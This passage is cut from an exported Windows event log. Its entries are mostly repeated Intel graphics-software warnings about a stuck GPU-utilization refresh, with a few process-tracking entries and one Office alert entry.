08:54:53.601\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:53.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:54.925\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:55.150\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:55.596\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:56.043\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:56.601\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:56.935\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:57.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:57.489\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:58.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:58.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:59.488\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:59.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:00.042\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:00.266\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:00.486\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:00.708\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:02.372\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:02.595\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:02.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:03.067\t300\tCompositor Type: 1WINWORDP1: %3P2: %4P3: %5P4: %6\tInformation\tOAlerts\tMicrosoft Office 16 Alerts\n05.09.2026 08:55:03.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:04.029\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:04.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:04.695\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:05.359\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:05.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:05.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:06.253\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:06.585\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:06.590\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:08.479\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:08.481\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:08.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:09.032\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:09.480\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:10.374\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:10.597\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:11.152\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:12.042\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:12.377\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:12.600\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:12.824\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:13.048\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:13.383\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:13.715\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:14.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:14.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:14.827\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:15.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:16.163\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:16.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:16.831\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:17.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:17.832\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:18.390\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:18.724\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:18.946\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:19.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:20.168\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:20.390\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:20.724\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:21.395\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:22.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:22.491\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:22.927\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:23.151\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:23.485\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:23.706\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:23.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:24.490\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:24.712\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:24.935\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:26.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:26.379\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:26.714\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.050\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.272\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.719\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:27.941\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:28.162\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:28.497\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:28.719\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:29.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:29.276\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:29.500\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:29.724\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:30.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:30.842\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:32.838\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:33.613\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:33.835\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:34.394\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:34.731\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:35.058\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:35.616\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:35.835\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:36.050\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:37.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:37.610\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:37.946\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:38.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:38.615\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:38.835\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:39.277\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:39.722\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:40.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:40.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:40.612\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:42.060\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:42.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:42.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:43.288\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList 